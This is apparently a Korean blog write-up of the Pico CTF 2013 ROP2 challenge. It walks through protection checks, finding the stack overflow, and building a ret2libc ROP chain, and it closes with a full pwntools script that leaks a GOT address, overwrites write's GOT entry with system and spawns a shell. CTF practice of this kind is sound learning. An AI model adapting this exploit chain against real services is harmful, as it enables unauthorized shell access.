ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Pico CTF 2013 ROP2 write-up
    CTF Write-Up 2018. 3. 10. 16:40

    Pico CTF 2013 ROP 2 문제를 풀이했다.


    [바이너리]

    rop2-20f65dd0bcbe267d




    메모리 보호 기법 확인을 해보면



    이렇게 Partial RELRO 와 NX가 걸려있는것을 확인 할 수 있다.



    실행을 했을때 rop1 과 동일하게 Hello, World 만 뱉어준다.


    [Think-1]

    메모리 보호 기법중 NX 가 걸려있으므로 쉘코드를 스택에 올려서 쉘을 띄울 수는 없다.

    또 Partial RELRO가 적용되어서 .got를 제외한 섹션은 Read-Only 이다.

    ASLR은 자체적으로 걸어두었다.




    바로 정적분석을 위해 IDA로 열어봤다.



    main() 의 모습이다.

    저 중 vulnerable_function() 가 있는데 주석을 달아놓은것 처럼 140byte를 입력하면 SFP가 덮이고, overflow가 일어난다.



    vulnerable_function()의 내부 모습이다.


    여기서도 not_called 라는 함수를 찾을 수 있었는데



    이번에는 system("/bin/date"); 로 날짜정보를 출력해주는 것을 알 수 있다.


    [Think-2]

    쉘코드는 안되니 다른 기법을 사용해야하는데

    read()와 write()를 이용하여 ROP를 하면 되겠다.




    ROP 를 하기 위해 필요한 것들을 구해주고 pwn 모듈을 사용하여 Payload를 만들어줬다.


    read()와 write()에 대한

    plt 와 got는 IDA와 gdb를 이용하여 구하고


    /bin/sh 을 저장할 bss의 주소와 함수 인자를 정리하며 연속적으로 함수를 호출에 필요한 pppr gadget은

    objdump 로 구해주면 된다.


    그리고 system_offset은 gdb를 이용하여 구하면된다.


    따라서 이런 payload를 완성했다.


    [payload.py]


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    from pwn import *
     
    = process('./rop2-20f65dd0bcbe267d')
     
    bss = 0x0804a028
    pppr =  0x804859d
    read_plt =  0x08048380
    read_got = 0x804a000
    write_plt = 0x80483d0
    write_got = 0x804a014
    system_offset = 0x99a10
     
    payload = 'A' * 140
     
    payload += p32(write_plt)
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(read_got)
    payload += p32(4)
     
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(bss)
    payload += p32(8)
     
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(write_got)
    payload += p32(4)
     
    payload += p32(write_plt)
    payload += "AAAA"
    payload += p32(bss)
     
    p.send(payload)
     
    read_addr = u32(p.recv()[-4:])
    system_addr = read_addr - system_offset
     
    p.send("/bin/sh\00")
     
    p.send(p32(system_addr))
     
    p.interactive()
    cs


    반응형
Designed by Tistory.